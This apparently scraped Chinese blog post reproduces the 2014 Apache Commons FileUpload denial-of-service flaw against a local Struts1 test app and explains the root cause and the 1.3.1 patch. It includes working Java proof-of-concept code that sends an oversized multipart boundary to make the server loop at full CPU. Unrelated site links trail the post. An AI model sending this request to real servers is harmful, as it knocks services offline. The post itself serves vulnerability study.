这个漏洞是2014年2月4日被发现的, 因为该组件试用范围非常广, 所以该漏洞的影响也非常巨大。通过特制的包含畸形header的http请求,可以导致使用该组件的应用程序进入无限循环从而耗尽CPU等资源并最终崩溃。

最近因为在修补struts1的可操纵classLoader的漏洞(struts2也有该漏洞, 不在本文讨论范围), 所以我就在我建立的struts1的项目上直接做测试,怎么创建struts1的项目不在本文讨论范围之列你可以在这里下载struts1样例程序(http://download.csdn.NET/detail/sunxing007/7350433)。 只需要建立一个最简单的hello world的struts1程序即可。然后启动tomcat并部署项目。

然后用apache http component 组件写一个程序来发起一个“带特制的包含畸形header的http请求” 关键代码如下(在下载的附件中有HttpUtil.Java包含完整的代码):

  1. public static void testCommonFileUploadVelnerability() throws ClientProtocolException, IOException{
  2. CloseableHttpClient httpClient = createHttpClient();
  3. HttpPost post = new HttpPost("http://localhost:8080/Struts1/helloWorld.do");
  4. String boundary = "";
  5. for(int i=0; i<4092; i++){
  6. boundary += "a";
  7. }
  8. post.setHeader("Content-Type", "multipart/form-data; boundary=#{" + boundary + "}");
  9. post.setHeader("lf-None-Match","59e532f501ac13174dd9c488f897ee75");
  10. String body = "";
  11. for(int i=0; i<4097; i++){
  12. body +="b";
  13. }
  14. post.setEntity(new StringEntity(body));
  15. CloseableHttpResponse response = httpClient.execute(post, DEFAULT_CONTEXT);
  16. HttpEntity entity = response.getEntity();
  17. System.out.println(EntityUtils.toString(entity));
  18. System.out.println("Over!");
  19. }

运行该程序, 你会发现该程序无法返回, 打开任务管理器,会发现CPU使用率为100%; 关闭tomcat后 CPU的使用率马上降到正常水平。

该漏洞出现在fileupload 1.3和以前的版本, apache在漏洞发现之后很快发布了1.3.1版本修复了该bug。

稍微有点好奇的我,就下载了fileupload的1.3和1.3.1的源码并比较了一下, 发现问题的原因就在于, 它在解析/读取上传内容的时候,使用了一个长度为4096的buffer,它不断的读取内容到buffer并用boundary来判断是否一个附件结束。但是如果一个boundary加上CR/LF外加两个dash(-)的长度本身就超过了buffer的长度的话, 会导致解析进入死循环。所以apache在fix这个bug的时候,会判断boundary的长度是否大于buffer的长度。如果是就抛异常。如下的代码片段出现在FileUploadBase.java和MultipartStream.java中:

  1. try {
  2. multi = new MultipartStream(input, boundary, notifier);
  3. } catch (IllegalArgumentException iae) {
  4. throw new InvalidContentTypeException(
  5. format("The boundary specified in the %s header is too long", CONTENT_TYPE), iae);
  6. }
  1. public MultipartStream(InputStream input,
  2. byte[] boundary,
  3. int bufSize,
  4. ProgressNotifier pNotifier) {
  5. if (boundary == null) {
  6. throw new IllegalArgumentException("boundary may not be null");
  7. }
  8. this.input = input;
  9. this.bufSize = bufSize;
  10. this.buffer = new byte[bufSize];
  11. this.notifier = pNotifier;
  12. // We prepend CR/LF to the boundary to chop trailing CR/LF from
  13. // body-data tokens.
  14. this.boundaryLength = boundary.length + BOUNDARY_PREFIX.length;
  15. if (bufSize < this.boundaryLength + 1) {
  16. throw new IllegalArgumentException(
  17. "The buffer size specified for the MultipartStream is too small");
  18. }
  19. this.boundary = new byte[this.boundaryLength];
  20. this.keepRegion = this.boundary.length;
  21. System.arraycopy(BOUNDARY_PREFIX, 0, this.boundary, 0,
  22. BOUNDARY_PREFIX.length);
  23. System.arraycopy(boundary, 0, this.boundary, BOUNDARY_PREFIX.length,
  24. boundary.length);
  25. head = 0;
  26. tail = 0;
  27. }

有兴趣的可以下载源码并详细研究一下。

重现apache commons fileupload DOS漏洞的更多相关文章

  1. Apache Commons Fileupload 反序列化漏洞分析

    下面是k8脚本. # -*- coding: utf-8 -*- # Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3) D ...

  2. CVE-2014-0050: Exploit with Boundaries, Loops without Boundaries、Apache Commons FileUpload and Apache Tomcat DoS

    catalog . Description . Analysis . POC . Solution 1. Description MultipartStream.java in Apache Comm ...

  3. Apache Commons fileUpload实现文件上传之一

      需要两个jar包: commons-fileupload.jar Commons IO的jar包(本文使用commons-io-2.4.jar) 利用Servlet来实现文件上传. package ...

  4. 上传文件出错:org.apache.commons.fileupload.FileUploadBase$IOFileUploadException: Processing of multipart/form-data request failed. Stream ended unexpectedly

    最近做一个web项目中有上传文件的功能,已经写出并在本地和部署到服务器上测试了好几个文件上传都没问题(我用的是tomcat).后来又上传了一个700多K的文件(前边的都是不足600K的,并且这个wor ...

  5. Caused by: java.lang.ClassNotFoundException: org.apache.commons.fileupload.RequestContext

    1.错误描述 usage: java org.apache.catalina.startup.Catalina [ -config {pathname} ] [ -nonaming ] { -help ...

  6. org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException

    1.错误原因 org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't ...

  7. 上传文件代码报错,java.lang.ClassNotFoundException: org.apache.commons.fileupload.FileItemFactory

    2018-09-11 11:11:08.235 ERROR 14352 --- [nio-8080-exec-5] o.a.c.c.C.[.[.[/].[dispatcherServlet]    : ...

  8. Apache Commons FileUpload 实现文件上传

    Commons FileUpload简介 Apache Commons是一个专注于可重用Java组件开发的 Apache 项目.Apache Commons项目由三个部分组成: 1.Commons P ...

  9. Could not parse multipart servlet request; nested exception is org.apache.commons.fileupload.FileUploadBase$IOFileUploadException: Processing of multipart/form-data request failed.

    org.springframework.web.multipart.MultipartException: Could not parse multipart servlet request; nes ...

随机推荐

  1. lombok中的@ToString注解作用

    Lombok是一个很好的工具,节省了很多重写方法,而@ToString就是节省了ToString方法,lombok中@ToString就是节省了我们在模型中的冗余代码下面就来举个例子 import j ...

  2. AWR and ADDM

    The Automatic Workload Repository Oracle collect a vast amount of statistics regarding the performan ...

  3. influxDB系列(二)--查看数据库的大小

    google 搜索了好多文档,终于发现了这个靠谱的回答. https://groups.google.com/forum/#!topic/influxdb/I5eady_Ta5Y You can se ...

  4. HDUJ 2070 Fibbonacci Number

    Fibbonacci Number Time Limit: 1000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others ...

  5. Solid Edge如何快速装配,如何截取组装关系式

    我们点击装配体的任意零件,下方将显示他的装配关系,由于一些零件的装配关系是固定的,比如螺栓,肯定要做一个面贴和,再做一个同轴,所以我们可以保存这些固有的步骤,不用再每次挨个点击这些装配关系.   点击 ...

  6. TensorFlow 官方文档中文版

    http://wiki.jikexueyuan.com/list/deep-learning/ TensorFlow 官方文档中文版 你正在阅读的项目可能会比 Android 系统更加深远地影响着世界 ...

  7. Linux下的ssh实验环境搭建与管理

    实验环境[size=10.5000pt]1:网桥模式[size=10.5000pt]2:安装好vmtoos[size=10.5000pt]3:安装好yum[size=10.5000pt]4:安装好ss ...

  8. JPush 初始化失败,直接按照官方文档的格式写的,portal上的包名肯定不会错,mainfest里面直接指定${applicationId}

    错误日志: 11-27 09:59:19.670 26124-26124/? D/dalvikvm: Late-enabling CheckJNI 11-27 09:59:20.008 26124-2 ...

  9. C# 数据库访问

    C# 数据库访问 分类: C#学习笔记2011-07-05 11:26 515人阅读 评论(0) 收藏 举报 数据库c#datasettextboxcommandexception   目录(?)[+ ...

  10. TS流解析 四

    一 从TS流开始 数字电视机顶盒接收到的是一段段的码流,我们称之为TS(Transport Stream,传输流),每个TS流都携带一些信息,如Video.Audio以及我们需要学习的PAT.PMT等 ...